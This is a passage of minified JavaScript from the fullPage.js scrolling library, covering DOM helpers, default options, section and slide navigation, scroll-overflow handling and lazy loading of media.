k(n){n=M(n);for(var t=0;t<n.length;t++)n[t].style.display="block";return n}function A(n){return"[object Array]"===Object.prototype.toString.call(n)||"[object NodeList]"===Object.prototype.toString.call(n)}function O(n,t){n=M(n);for(var e=0;e<n.length;e++)n[e].classList.add(t);return n}function D(n,t){n=M(n);for(var e=t.split(" "),o=0;o<e.length;o++){t=e[o];for(var i=0;i<n.length;i++)n[i].classList.remove(t)}return n}function j(n,t){t.appendChild(n)}function E(n,t,e){var o;t=t||r.createElement("div");for(var i=0;i<n.length;i++){var a=n[i];(e&&!i||!e)&&(o=t.cloneNode(!0),a.parentNode.insertBefore(o,a)),o.appendChild(a)}return n}function L(n,t){E(n,t,!0)}function P(n){for(var t=r.createDocumentFragment();n.firstChild;)t.appendChild(n.firstChild);n.parentNode.replaceChild(t,n)}function R(n,t){return n&&1===n.nodeType?U(n,t)?n:R(n.parentNode,t):null}function C(n,t){F(n,n.nextSibling,t)}function z(n,t){F(n,n,t)}function F(n,t,e){A(e)||("string"==typeof e&&(e=Q(e)),e=[e]);for(var o=0;o<e.length;o++)n.parentNode.insertBefore(e[o],t)}function N(n){if(void 0!==n&&n.fitToSection)return r.body.scrollTop;var t=r.documentElement;return(i.pageYOffset||t.scrollTop)-(t.clientTop||0)}function B(n){return Array.prototype.filter.call(n.parentNode.children,(function(t){return t!==n}))}function I(n){n.preventDefault()}function H(n,t){return n.getAttribute(t)}function V(n,t,e){r.addEventListener(n,t,"undefined"===e?null:e)}function W(n,t,e){i.addEventListener(n,t,"undefined"===e?null:e)}function K(n,t,e){r.removeEventListener(n,t,"undefined"===e?null:e)}function _(n,t,e){i.removeEventListener(n,t,"undefined"===e?null:e)}function q(n){if("function"==typeof n)return!0;var t=Object.prototype.toString.call(n);return"[object Function]"===t||"[object GeneratorFunction]"===t}function G(n,t,e){var o;e=void 0===e?{}:e,"function"==typeof i.CustomEvent?o=new CustomEvent(t,{detail:e}):(o=r.createEvent("CustomEvent")).initCustomEvent(t,!0,!0,e),n.dispatchEvent(o)}function U(n,t){return(n.matches||n.t||n.msMatchesSelector||n.mozMatchesSelector||n.webkitMatchesSelector||n.oMatchesSelector).call(n,t)}function Y(n,t){if("boolean"==typeof t)for(var e=0;e<n.length;e++)n[e].style.display=t?"block":"none";return n}function Q(n){var t=r.createElement("div");return t.innerHTML=n.trim(),t.firstChild}function X(n){n=M(n);for(var t=0;t<n.length;t++){var e=n[t];e&&e.parentElement&&e.parentNode.removeChild(e)}}function $(n,t,e){for(var o=n[e],i=[];o;)(U(o,t)||null==t)&&i.push(o),o=o[e];return i}function J(n,t){return $(n,t,"nextElementSibling")}function Z(n,t){return $(n,t,"previousElementSibling")}function nn(n){return n[n.length-1]}function tn(n,t){for(var e=0,o=n.slice(Math.max(n.length-t,1)),i=0;i<o.length;i++)e+=o[i];return Math.ceil(e/t)}function en(n,t){n.setAttribute(t,H(n,"data-"+t)),n.removeAttribute("data-"+t)}function on(n){return on="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},on(n)}i.NodeList&&!NodeList.prototype.forEach&&(NodeList.prototype.forEach=function(n,t){t=t||window;for(var e=0;e<this.length;e++)n.call(t,this[e],e,this)}),"function"!=typeof Object.assign&&Object.defineProperty(Object,"assign",{value:function(n,t){if(null==n)throw new TypeError("Cannot convert undefined or null to object");for(var e=Object(n),o=1;o<arguments.length;o++){var i=arguments[o];if(null!=i)for(var r in i)Object.prototype.hasOwnProperty.call(i,r)&&(e[r]=i[r])}return e},writable:!0,o:!0}),window.fp_utils={$:p,deepExtend:h,hasClass:m,getWindowHeight:g,css:b,prev:y,next:S,last:function(n){return n[n.length-1]},index:T,getList:M,hide:x,show:k,isArrayOrList:A,addClass:O,removeClass:D,appendTo:j,wrap:E,wrapAll:L,unwrap:P,closest:R,after:C,before:z,insertBefore:F,getScrollTop:N,siblings:B,preventDefault:I,isFunction:q,trigger:G,matches:U,toggle:Y,createElementFromHTML:Q,remove:X,untilAll:$,nextAll:J,prevAll:Z,showError:s};var rn={i:{},u:function(n,t){var e=this;return"object"!==on(this.i[n])&&(this.i[n]=[]),this.i[n].push(t),function(){return e.removeListener(n,t)}},removeListener:function(n,t){if("object"===on(this.i[n])){var e=this.i[n].indexOf(t);e>-1&&this.i[n].splice(e,1)}},l:function(n){for(var t=this,e=arguments.length,o=new Array(e>1?e-1:0),i=1;i<e;i++)o[i-1]=arguments[i];"object"===on(this.i[n])&&this.i[n].forEach((function(n){return n.apply(t,o)}))},once:function(n,t){var e=this,o=this.u(n,(function(){o();for(var n=arguments.length,i=new Array(n),r=0;r<n;r++)i[r]=arguments[r];t.apply(e,i)}))}},an={v:0,p:0,slides:[],h:[],g:null,S:null,T:!1,M:!1,A:!1,O:!1,D:!1,j:void 0,L:void 0,P:!1,R:!0,C:"none",F:"none",N:!1,B:!0,I:0,H:g(),V:!1,W:{},scrollY:0,scrollX:0};function un(n){Object.assign(an,n)}function ln(){return an}function cn(n){rn.l("onClickOrTouch",{e:n,target:n.target})}function fn(){["click","touchstart"].forEach((function(n){K(n,cn)}))}function sn(){un({B:!0})}i.state=an,rn.u("bindEvents",(function(){["click","touchstart"].forEach((function(n){V(n,cn)})),W("focus",sn),rn.u("onDestroy",fn)}));var vn="fullpage-wrapper",dn="."+vn,pn="fp-responsive",hn="fp-notransition",mn="fp-destroyed",gn="fp-enabled",wn="active",bn=".active",yn="fp-completely",Sn="fp-section",Tn="."+Sn,Mn=".fp-tableCell",xn="fp-auto-height",kn="#fp-nav",An="fp-slide",On="."+An,Dn=".fp-slide.active",jn="fp-slides",En=".fp-slides",Ln="fp-slidesContainer",Pn="."+Ln,Rn="fp-table",Cn="fp-overflow",zn="."+Cn,Fn=".fp-slidesNav",Nn=".fp-slidesNav a",Bn="fp-controlArrow",In="."+Bn,Hn="fp-prev",Vn=".fp-controlArrow.fp-prev",Wn=".fp-controlArrow.fp-next",Kn={menu:!1,anchors:[],lockAnchors:!1,navigation:!1,navigationPosition:"right",navigationTooltips:[],showActiveTooltip:!1,slidesNavigation:!1,slidesNavPosition:"bottom",scrollBar:!1,hybrid:!1,licenseKey:"",credits:{enabled:!0,label:"Made with fullPage.js",position:"right"},css3:!0,scrollingSpeed:700,autoScrolling:!0,fitToSection:!0,easing:"easeInOutCubic",easingcss3:"ease",loopBottom:!1,loopTop:!1,loopHorizontal:!0,continuousVertical:!1,continuousHorizontal:!1,scrollHorizontally:!1,interlockedSlides:!1,dragAndMove:!1,offsetSections:!1,resetSliders:!1,fadingEffect:!1,normalScrollElements:null,scrollOverflow:!0,scrollOverflowReset:!1,touchSensitivity:5,touchWrapper:null,bigSectionsDestination:null,keyboardScrolling:!0,animateAnchor:!0,recordHistory:!0,allowCorrectDirection:!1,scrollOverflowMacStyle:!0,controlArrows:!0,controlArrowsHTML:['<div class="fp-arrow"></div>','<div class="fp-arrow"></div>'],controlArrowColor:"#fff",verticalCentered:!0,sectionsColor:[],paddingTop:0,paddingBottom:0,fixedElements:null,responsive:0,responsiveWidth:0,responsiveHeight:0,responsiveSlides:!1,parallax:!1,parallaxOptions:{type:"reveal",percentage:62,property:"translate"},cards:!1,cardsOptions:{perspective:100,fadeContent:!0,fadeBackground:!0},sectionSelector:".section",slideSelector:".slide",afterLoad:null,beforeLeave:null,onLeave:null,afterRender:null,afterResize:null,afterReBuild:null,afterSlideLoad:null,onSlideLeave:null,afterResponsive:null,onScrollOverflow:null,lazyLoading:!0,observer:!0},_n=null,qn=!1,Gn=h({},Kn),Un=null;function Yn(n){return _n}function Qn(){return Un||Kn}function Xn(){return Gn}function $n(n,t,e){Un[n]=t,"internal"!==e&&(Gn[n]=t)}function Jn(){if(!Qn().anchors.length){var n=p(Qn().sectionSelector.split(",").join("[data-anchor],")+"[data-anchor]",_n);n.length&&n.length===p(Qn().sectionSelector,_n).length&&(qn=!0,n.forEach((function(n){Qn().anchors.push(H(n,"data-anchor").toString())})))}if(!Qn().navigationTooltips.length){var t=p(Qn().sectionSelector.split(",").join("[data-tooltip],")+"[data-tooltip]",_n);t.length&&t.forEach((function(n){Qn().navigationTooltips.push(H(n,"data-tooltip").toString())}))}}var Zn=function(n){this.anchor=n.anchor,this.item=n.item,this.index=n.index(),this.isLast=this.index===n.item.parentElement.querySelectorAll(n.selector).length-1,this.isFirst=!this.index,this.isActive=n.isActive},nt=function(n,t){this.parent=this.parent||null,this.selector=t,this.anchor=H(n,"data-anchor")||Qn().anchors[T(n,Qn().sectionSelector)],this.item=n,this.isVisible=v(n),this.isActive=m(n,wn),this.K=m(n,Cn),this._=t===Qn().sectionSelector,this.q=R(n,Pn)||R(n,dn),this.index=function(){return this.siblings().indexOf(this)}};function tt(n){return n.map((function(n){return n.item}))}function et(n,t){return n.find((function(n){return n.item===t}))}nt.prototype.siblings=function(){return this._?this.isVisible?an.h:an.G:this.parent?this.parent.slides:0},nt.prototype.prev=function(){var n=this.siblings(),t=(this._?n.indexOf(this):this.parent.slides.indexOf(this))-1;return t>=0?n[t]:null},nt.prototype.next=function(){var n=this.siblings(),t=(this._?n.indexOf(this):this.parent.slides.indexOf(this))+1;return t<n.length?n[t]:null},nt.prototype.U=function(){return this._?an.h:an.Y};var ot,it,rt=function(n){Zn.call(this,n)},at=function(n){Zn.call(this,n)};function ut(n){var t=p(Dn,n);return t.length&&(n=t[0]),n}function lt(n){var t,e,o=Qn();return o.autoScrolling&&!o.scrollBar?(t=-n,e=p(dn)[0]):o.fitToSection?(t=n,e=r.body):(t=n,e=window),{options:t,element:e}}function ct(n,t){!Qn().autoScrolling||Qn().scrollBar||n.self!=window&&m(n,jn)?n.self!=window&&m(n,jn)?n.scrollLeft=t:n.scrollTo(0,t):n.style.top=t+"px"}function ft(n){var t="transform "+Qn().scrollingSpeed+"ms "+Qn().easingcss3;return D(n,hn),b(n,{"-webkit-transition":t,transition:t})}function st(n,t){var e=n.index(),o=T(t,Tn);return e==o?"none":e>o?"up":"down"}function vt(n){return O(n,hn)}function dt(n){return{"-webkit-transform":n,"-moz-transform":n,"-ms-transform":n,transform:n}}function pt(n,t){t?ft(Yn()):vt(Yn()),clearTimeout(ot),b(Yn(),dt(n)),c.test.X=n,ot=setTimeout((function(){D(Yn(),hn)}),10)}function ht(n){var t=Math.round(n);if(Qn().css3&&Qn().autoScrolling&&!Qn().scrollBar)pt("translate3d(0px, -"+t+"px, 0px)",!1);else if(Qn().autoScrolling&&!Qn().scrollBar)b(Yn(),{top:-t+"px"}),c.test.top=-t+"px";else{var e=lt(t);ct(e.element,e.options)}}function mt(n,t){$n("scrollingSpeed",n,t)}function gt(){clearTimeout(it)}function wt(n,t,e,o){var a=function(n){return n.self!=i&&m(n,jn)?n.scrollLeft:!Qn().autoScrolling||Qn().scrollBar?N(Qn()):n.offsetTop}(n),u=t-a,l=0;un({P:!0});var c=!1;n===r.body&&b(r.body,{"scroll-snap-type":"none"}),function r(){if(an.P){var f=t;l+=20,e&&(f=i.fp_easings[Qn().easing](l,a,u,e)),ct(n,f),l<e?(clearTimeout(it),it=setTimeout(r,20)):void 0===o||c||(o(),c=!0)}else l<e&&!c&&(o(),c=!0)}()}function bt(n){return n&&!n.item?new rt(new $t(n)):n?new rt(n):null}function yt(n){return n?new at(n):null}function St(n,t){var e,o=function(n,t){var e={afterRender:function(){return{section:bt(ln().g),J:yt(ln().g.activeSlide)}},onLeave:function(){return{origin:bt(t.items.origin),destination:bt(t.items.destination),direction:t.direction,trigger:ln().S}},afterLoad:function(){return e.onLeave()},afterSlideLoad:function(){return{section:bt(t.items.section),origin:bt(t.items.origin),destination:bt(t.items.destination),direction:t.direction,trigger:ln().S}},onSlideLeave:function(){return e.afterSlideLoad()},beforeLeave:function(){return e.onLeave()},onScrollOverflow:function(){return{section:bt(ln().g),J:yt(ln().g.activeSlide),position:t.position,direction:t.direction}}};return e[n]()}(n,t);return G(Yn(),n,o),!1!==Qn()[n].apply(o[Object.keys(o)[0]],(e=o,Object.keys(e).map((function(n){return e[n]}))))}function Tt(n){var t=ut(n);p("video, audio",t).forEach((function(n){n.hasAttribute("data-autoplay")&&"function"==typeof n.play&&n.play()})),p('iframe[src*="youtube.com/embed/"]',t).forEach((function(n){n.hasAttribute("data-autoplay")&&Mt(n),n.onload=function(){n.hasAttribute("data-autoplay")&&Mt(n)}}))}function Mt(n){n.contentWindow.postMessage('{"event":"command","func":"playVideo","args":""}',"*")}function xt(n){var t=ut(n);p("video, audio",t).forEach((function(n){n.hasAttribute("data-keepplaying")||"function"!=typeof n.pause||n.pause()})),p('iframe[src*="youtube.com/embed/"]',t).forEach((function(n){/youtube\.com\/embed\//.test(H(n,"src"))&&!n.hasAttribute("data-keepplaying")&&n.contentWindow.postMessage('{"event":"command","func":"pauseVideo","args":""}',"*")}))}function kt(n){Qn().lazyLoading&&p("img[data-src], img[data-srcset], source[data-src], source[data-srcset], video[data-src], audio[data-src], iframe[data-src]",ut(n)).forEach((function(n){if(["src","srcset"].forEach((function(t){var e=H(n,"data-"+t);null!=e&&e&&(en(n,t),n.addEventListener("load",(function(){})))})),U(n,"source")){var t=R(n,"video, audio");t&&(t.load(),t.onloadeddata=function(){})}}))}c.setScrollingSpeed=mt,rn.u("bindEvents",(function(){rn.u("onDestroy",gt)}));var At=null,Ot=null,Dt=null;function jt(){var n=ln().g.item,t=ln().g.activeSlide,e=Et(n),o=String(e);t&&(o=o+"-"+Et(t.item)),o=o.replace("/","-").replace("#","");var i=new RegExp("\\b\\s?fp-viewing-[^\\s]+\\b","g");At.className=At.className.replace(i,""),O(At,"fp-viewing-"+o)}function Et(n){if(!n)return null;var t=H(n,"data-anchor"),e=T(n);return null==t&&(t=e),t}function Lt(n,t,e){var o="";Qn().anchors.length&&!Qn().lockAnchors&&(n?(null!=e&&(o=e),null==t&&(t=n),un({L:t}),Pt(o+"/"+t)):null!=n?(un({L:t}),Pt(e)):Pt(e)),jt()}function Pt(n){if(Qn().recordHistory)location.hash=n;else if(a||l)i.history.replaceState(void 0,void 0,"#"+n);else{var t=i.location.href.split("#")[0];i.location.replace(t+"#"+n)}}function Rt(n,t,e){var o="Section"===t?Qn().anchors[n]:H(e,"data-anchor");return Qn().navigationTooltips[n]||o||t+" "+(n+1)}function Ct(n){I(n),un({S:"horizontalNav"});var t=R(this,Tn),e=p(En,R(this,Tn))[0],o=et(ln().h,t).slides[T(R(this,"li"))];rn.l("landscapeScroll",{slides:e,destination:o.item})}var zt,Ft={};function Nt(n,t,e){"all"!==t?Ft[e][t]=n:Object.keys(Ft[e]).forEach((function(t){Ft[e][t]=n}))}function Bt(){return Ft}function It(){var n=R(this,Tn);m(this,Hn)?Bt().m.left&&(un({S:"slideArrow"}),rn.l("moveSlideLeft",{section:n})):Bt().m.right&&(un({S:"slideArrow"}),rn.l("moveSlideRight",{section:n}))}function Ht(){clearTimeout(zt)}function Vt(n,t,e){var o,i,r=R(n,Tn),a=ln().h.filter((function(n){return n.item==r}))[0],u=a.slides.filter((function(n){return n.item==t}))[0],l={slides:n,destiny:t,direction:e,destinyPos:{left:t.offsetLeft},slideIndex:u.index(),section:r,sectionIndex:a.index(),anchorLink:a.anchor,slidesNav:p(Fn,r)[0],slideAnchor:u.anchor,prevSlide:a.activeSlide.item,prevSlideIndex:a.activeSlide.index(),items:{section:a,origin:a.activeSlide,destination:u},localIsResizing:an.O};l.Z=(o=l.prevSlideIndex,i=l.slideIndex,o==i?"none":o>i?"left":"right"),l.direction=l.direction?l.direction:l.Z,l.localIsResizing||un({R:!1}),Qn().onSlideLeave&&!l.localIsResizing&&"none"!==l.Z&&q(Qn().onSlideLeave)&&!1===St("onSlideLeave",l)?un({A:!1}):(O(t,wn),D(B(t),wn),Ut(),l.localIsResizing||(xt(l.prevSlide),kt(t)),function(n){!Qn().loopHorizontal&&Qn().controlArrows&&(Y(p(Vn,n.section),0!==n.slideIndex),Y(p(Wn,n.section),null!=S(n.destiny)))}(l),a.isActive&&!l.localIsResizing&&Lt(l.slideIndex,l.slideAnchor,l.anchorLink),function(n,t,e){var o,i,r=t.destinyPos;if(o=t.slidesNav,i=t.slideIndex,Qn().slidesNavigation&&null!=o&&(D(p(bn,o),wn),O(p("a",p("li",o)[i]),wn)),un({scrollX:Math.round(r.left)}),Qn().css3){var a="translate3d(-"+Math.round(r.left)+"px, 0px, 0px)";c.test.nn[t.sectionIndex]=a,b(ft(p(Pn,n)),dt(a)),clearTimeout(zt),zt=setTimeout((function(){Kt(t)}),Qn().scrollingSpeed)}else c.test.left[t.sectionIndex]=Math.round(r.left),wt(n,Math.round(r.left),Qn().scrollingSpeed,(function(){Kt(t)}))}(n,l))}function Wt(){clearTimeout(zt)}function Kt(n){n.localIsResizing||(q(Qn().afterSlideLoad)&&St("afterSlideLoad",n),un({R:!0}),Tt(n.destiny)),un({A:!1})}function _t(n,t){mt(0,"internal"),void 0!==t&&un({O:!0}),Vt(R(n,En),n),void 0!==t&&un({O:!1}),mt(Xn().scrollingSpeed,"internal")}Ft.m={up:!0,down:!0,left:!0,right:!0},Ft.k=h({},Ft.m),rn.u("onClickOrTouch",(function(n){var t=n.target;(U(t,In)||R(t,In))&&It.call(t,n)})),c.landscapeScroll=Vt,rn.u("bindEvents",(function(){rn.u("onPerformMovement",Ht)}));var qt=null,Gt=null;function Ut(){an.g=null,an.h.map((function(n){var t=m(n.item,wn);n.isActive=t,n.K=m(n.item,Cn),t&&(an.g=n),n.slides.length&&(n.activeSlide=null,n.slides.map((function(t){var e=m(t.item,wn);t.K=m(t.item,Cn),t.isActive=e,e&&(n.activeSlide=t)})))})),function(){var n=an.g,t=!!an.g&&an.g.slides.length,e=an.g?an.g.activeSlide:null;if(!n&&an.h.length&&!ln().T&&qt){var o=Xt(qt,an.h);o&&(an.g=o,an.g.isActive=!0,O(an.g.item,wn)),an.g&&ht(an.g.item.offsetTop)}if(t&&!e&&Gt){var i=Xt(Gt,an.g.slides);i&&(an.g.activeSlide=i,an.g.activeSlide.isActive=!0,O(an.g.activeSlide.item,wn)),an.g.activeSlide&&_t(an.g.activeSlide.item,"internal")}}()}function Yt(){var n=p(Qn().sectionSelector,Yn()),t=d(n),e=Array.from(n).map((function(n){return new $t(n)})),o=e.filter((function(n){return n.isVisible})),i=o.reduce((function(n,t){return n.concat(t.slides)}),[]);qt=Qt(an.g),Gt=Qt(an.g?an.g.activeSlide:null),an.v=t.length,an.p=o.reduce((function(n,t){return n+t.slides.length}),0),an.h=o,an.G=e,an.slides=i,an.Y=an.h.concat(an.slides)}function Qt(n){if(!n)return null;var t=n?n.item:null,e=n._?an.G:an.g.tn;if(t){var o=et(e,t);return o?o.index():null}return null}function Xt(n,t){var e,o=n-1,i=n;do{if(e=t[o]||t[i])break;o-=1,i+=1}while(o>=0||i<t.length);return e}var $t=function(n){var t=this;[].push.call(arguments,Qn().sectionSelector),nt.apply(this,arguments),this.en=p(Qn().slideSelector,n),this.tn=Array.from(this.en).map((function(n){return new Jt(n,t)})),this.slides=this.tn.filter((function(n){return n.isVisible})),this.activeSlide=this.slides.length?this.slides.filter((function(n){return n.isActive}))[0]||this.slides[0]:null};$t.prototype=nt.prototype,$t.prototype.constructor=$t;var Jt=function(n,t){this.parent=t,nt.call(this,n,Qn().slideSelector)};function Zt(){O(p(Qn().sectionSelector,Yn()),Sn),O(p(Qn().slideSelector,Yn()),An)}function ne(){G(y(this),"click")}function te(){X(p(kn));var n=r.createElement("div");n.setAttribute("id","fp-nav");var t=r.createElement("ul");n.appendChild(t),j(n,At);var e=p(kn)[0];O(e,"fp-"+Qn().navigationPosition),Qn().showActiveTooltip&&O(e,"fp-show-active");for(var o="",i=0;i<ln().h.length;i++){var a=ln().h[i],u="";Qn().anchors.length&&(u=a.anchor),o+='<li><a href="#'+u+'"><span class="fp-sr-only">'+Rt(a.index(),"Section")+"</span><span></span></a>";var l=Qn().navigationTooltips[a.index()];void 0!==l&&""!==l&&(o+='<div class="fp-tooltip fp-'+Qn().navigationPosition+'">'+l+"</div>"),o+="</li>"}p("ul",e)[0].innerHTML=o;var c=p("li",p(kn)[0])[ln().g.index()];O(p("a",c),wn)}function ee(n){n.preventDefault&&I(n),un({S:"verticalNav"});var t=T(R(this,"#fp-nav li"));rn.l("scrollPage",{destination:ln().h[t]})}function oe(n,t){$n("recordHistory",n,t)}function ie(n,t){n||ht(0),$n("autoScrolling",n,t);var e=ln().g.item;if(Qn().autoScrolling&&!Qn().scrollBar)b(Dt,{overflow:"hidden",height:"100%"}),D(At,"fp-scrollable"),oe(Xn().recordHistory,"internal"),b(Yn(),{"-ms-touch-action":"none","touch-action":"none"}),null!=e&&ht(e.offsetTop);else if(b(Dt,{overflow:"visible",height:"initial"}),O(At,"fp-scrollable"),oe(!!Qn().autoScrolling&&Xn().recordHistory,"internal"),b(Yn(),{"-ms-touch-action":"","touch-action":""}),null!=e){b(Dt,{"scroll-behavior":"unset"});var o=lt(e.offsetTop);o.element.scrollTo(0,o.options)}}Jt.prototype=nt.prototype,Jt.prototype.constructor=$t,c.setRecordHistory=oe,c.setAutoScrolling=ie,c.test.setAutoScrolling=ie,c.setFitToSection=ue,c.fitToSection=function(){};var re,ae="scrollSnapAlign"in(re=r.documentElement.style)||"on"in re||"rn"in re;function ue(n,t){le(n),$n("fitToSection",n,t)}function le(n){ae&&(Qn().fitToSection&&(!Qn().autoScrolling||Qn().scrollBar)&&n?O:D)(Ot,"fp-snaps")}function ce(){var n=Qn().responsive||Qn().responsiveWidth,t=Qn().responsiveHeight,e=n&&i.innerWidth<n,o=t&&i.innerHeight<t;n&&t?fe(e||o):n?fe(e):t&&fe(o)}function fe(n){var t=se();n?t||(ie(!1,"internal"),ue(!1,"internal"),x(p(kn)),O(At,pn),q(Qn().afterResponsive)&&Qn().afterResponsive.call(Yn(),n)):t&&(ie(Xn().autoScrolling,"internal"),ue(Xn().autoScrolling,"internal"),k(p(kn)),D(At,pn),q(Qn().afterResponsive)&&Qn().afterResponsive.call(Yn(),n))}function se(){return m(At,pn)}c.setResponsive=fe,rn.u("bindEvents",(function(){i.addEventListener("load",(function(){Qn().scrollOverflow&&!Qn().scrollBar&&(de.an(),de.un())})),Qn().scrollOverflow&&tt(ln().Y).forEach((function(n){n.addEventListener("scroll",de.ln),n.addEventListener("wheel",de.cn),n.addEventListener("keydown",de.cn),n.addEventListener("keydown",de.sn)}))}));var ve,de={vn:null,dn:null,pn:null,cn:function(n){if(!an.R)return I(n),!1},un:function(){r.activeElement===this.vn&&this.vn.blur(),p(zn,ln().g.item)[0]&&(this.vn=p(zn,ln().g.item)[0],this.vn.focus())},an:function(){Qn().scrollOverflowMacStyle&&!u&&O(At,"fp-scroll-mac"),ln().Y.forEach((function(n){if(!(m(n.item,"fp-noscroll")||m(n.item,xn)||m(n.item,"fp-auto-height-responsive")&&se())){var t=de.hn(n.item),e=de.mn(n.item);e?(O(t,Cn),t.setAttribute("tabindex","-1")):(D(t,Cn),t.removeAttribute("tabindex")),n.K=e}}))},hn:function(n){return p(Dn,n)[0]||n},gn:function(n){return n._&&n.activeSlide?n.activeSlide.K:n.K},mn:function(n){return n.scrollHeight>i.innerHeight},wn:function(n,t){if(!an.R)return!1;if(!Qn().scrollOverflow)return!0;var e=de.hn(t),o=e.scrollTop,i="up"===n&&o<=0,r="down"===n&&e.scrollHeight<=e.offsetHeight+o,a=i||r;return a||(this.dn=(new Date).getTime()),a},bn:function(){this.pn=(new Date).getTime();var n=this.pn-de.dn,t=a||l;return t&&an.N&&n>400||!t&&n>600},ln:(ve=0,function(n){var t=n.target.scrollTop,e="none"!==an.C?an.C:ve<t?"down":"up";ve=t,q(Qn().onScrollOverflow)&&St("onScrollOverflow",{position:t,direction:e}),m(n.target,Cn)&&an.R&&de.wn(e,n.target)&&de.bn()&&rn.l("onScrollOverflowScrolled",{direction:e})})};function pe(n){Qn().verticalCentered&&(de.gn(n)||m(n.item,Rn)||O(n.item,Rn))}function he(n){var t=n.slides.length,e=n.en,o=n.slides,i=100*t,a=100/t;if(!p(En,n.item)[0]){var u=r.createElement("div");u.className=jn,L(e,u);var l=r.createElement("div");l.className=Ln,L(e,l)}b(p(Pn,n.item),{width:i+"%"}),t>1&&(Qn().controlArrows&&function(n){var t=n.item,e=[Q(Qn().controlArrowsHTML[0]),Q(Qn().controlArrowsHTML[1])];C(p(En,t)[0],e),O(e,Bn),O(e[0],Hn),O(e[1],"fp-next"),"#fff"!==Qn().controlArrowColor&&(b(p(Wn,t),{"border-color":"transparent transparent transparent "+Qn().controlArrowColor}),b(p(Vn,t),{"border-color":"transparent "+Qn().controlArrowColor+" transparent transparent"})),Qn().loopHorizontal||x(p(Vn,t))}(n),Qn().slidesNavigation&&function(n){var t=n.item,e=n.slides.length;j(Q('<div class="fp-slidesNav"><ul></ul></div>'),t);var o=p(Fn,t)[0];O(o,"fp-"+Qn().slidesNavPosition);for(var i=0;i<e;i++)j(Q('<li><a href="#"><span class="fp-sr-only">'+Rt(i,"Slide",p(On,t)[i])+"</span><span></span></a></li>"),p("ul",o)[0]);b(o,{"margin-left":"-"+o.innerWidth/2+"px"});var r=n.activeSlide?n.activeSlide.index():0;O(p("a",p("li",o)[r]),wn)}(n)),o.forEach((function(n){b(n.item,{width:a+"%"}),Qn().verticalCentered&&pe(n)}));var c=n.activeSlide||null;null!=c&&an.g&&(0!==an.g.index()||0===an.g.index()&&0!==c.index())?_t(c.item,"internal"):O(e[0],wn)}var me,ge=null;function we(n){var t=n.item,e=n.en.length,o=n.index();!ln().g&&n.isVisible&&(O(t,wn),Ut()),ge=ln().g.item,Qn().paddingTop&&b(t,{"padding-top":Qn().paddingTop}),Qn().paddingBottom&&b(t,{"padding-bottom":Qn().paddingBottom}),void 0!==Qn().sectionsColor[o]&&b(t,{"background-color":Qn().sectionsColor[o]}),void 0!==Qn().anchors[o]&&t.setAttribute("data-anchor",n.anchor),e||pe(n)}c.getActiveSection=function(){return ln().g};var be={attributes:!1,subtree:!0,childList:!0,characterData:!0};function ye(){return d(p(Qn().slideSelector,Yn())).length!==ln().p}function Se(n){var t=ye();(ye()||d(p(Qn().sectionSelector,Yn())).length!==ln().v)&&!an.V&&(Qn().observer&&me&&me.disconnect(),Yt(),Ut(),Qn().anchors=[],X(p(kn)),Zt(),Jn(),Qn().navigation&&te(),t&&(X(p(Fn)),X(p(In))),ln().h.forEach((function(n){n.slides.length?t&&he(n):we(n)}))),Qn().observer&&me&&me.observe(p(dn)[0],be)}rn.u("bindEvents",(function(){var n,t,e;Qn().observer&&"MutationObserver"in window&&(n=p(dn)[0],t=be,(e=new MutationObserver(Se)).observe(n,t),me=e),rn.u("contentChanged",Se)})),c.yn=Se;var Te=function(){var n=!1;try{var t=Object.defineProperty({},"passive",{get:function(){n=!0}});W("testPassive",null,t),_("testPassive",null,t)}catch(n){}return function(){return n}}();function Me(){return!!Te()&&{passive:!1}}(new Date).getTime();var xe,ke,Ae,Oe,De,je,Ee=(ke=(new Date).getTime(),function(n,t){var e=(new Date).getTime(),o="wheel"===n?Qn().scrollingSpeed:100;return e-ke>=o&&(xe=t(),ke=e),void 0===xe||xe}),Le=(De=(new Date).getTime(),je=[],{Sn:function(n){var t=(n=n||i.event).wheelDelta||-n.deltaY||-n.detail,e=Math.max(-1,Math.min(1,t)),o=void 0!==n.wheelDeltaX||void 0!==n.deltaX;Ae=Math.abs(n.wheelDeltaX)<Math.abs(n.wheelDelta)||Math.abs(n.deltaX)<Math.abs(n.deltaY)||!o;var r=(new Date).getTime();Oe=e<0?"down":"up",je.length>149&&je.shift(),je.push(Math.abs(t));var a=r-De;De=r,a>200&&(je=[])},Tn:function(){var n=tn(je,10)>=tn(je,70);return!!je.length&&n&&Ae},Mn:function(){return Oe}});function Pe(){var n=Qn().css3?N(Qn())+g():nn(ln().h).item.offsetTop+nn(ln().h).item.offsetHeight,t=lt(n);c.test.top=-n+"px",b(r.body,{"scroll-snap-type":"none"}),b(Dt,{"scroll-behavior":"unset"}),un({R:!1}),wt(t.element,t.options,Qn().scrollingSpeed,(function(){setTimeout((function(){un({T:!0}),un({R:!0})}),30)}))}function Re(){Yn().getBoundingClientRect().bottom>=0&&Ce()}function Ce(){var n=lt(nn(ln().h).item.offsetTop);un({R:!1}),wt(n.element,n.options,Qn().scrollingSpeed,(function(){un({R:!0}),un({T:!1}),un({xn:!1})}))}var ze,Fe,Ne,Be,Ie,He=(ze=!1,Fe={},Ne={},function(n,t,e){switch(n){case"set":Fe[t]=(new Date).getTime(),Ne[t]=e;break;case"isNewKeyframe":var o=(new Date).getTime();ze=o-Fe[t]>Ne[t]}return ze});function Ve(){var n=p(".fp-auto-height")[0]||se()&&p(".fp-auto-height-responsive")[0];Qn().lazyLoading&&n&&p(".fp-section:not(.active)").forEach((function(n){var t,e,o,i,r;e=(t=n.getBoundingClientRect()).top,o=t.bottom,i=e+2<an.H&&e>0,r=o>2&&o<an.H,(i||r)&&kt(n)}))}function We(n,t){var e;e=n,Qn().menu&&Qn().menu.length&&p(Qn().menu).forEach((function(n){null!=n&&(D(p(bn,n),wn),O(p('[data-menuanchor="'+e+'"]',n),wn))})),function(n,t){var e=p(kn)[0];Qn().navigation&&null!=e&&"none"!==e.style.display&&(D(p(bn,e),wn),O(n?p('a[href="#'+n+'"]',e):p("a",p("li",e)[t]),wn))}(n,t)}function Ke(n,t){if(q(Qn().beforeLeave))return Ee(ln().S,(function(){return St(n,t)}))}function _e(n,t,e){var o=n.item;if(null!=o){var i,r,a=function(n){var t=n.offsetHeight,e=n.offsetTop,o=e,i=e>an.I,r=o-g()+t,a=Qn().bigSectionsDestination;return 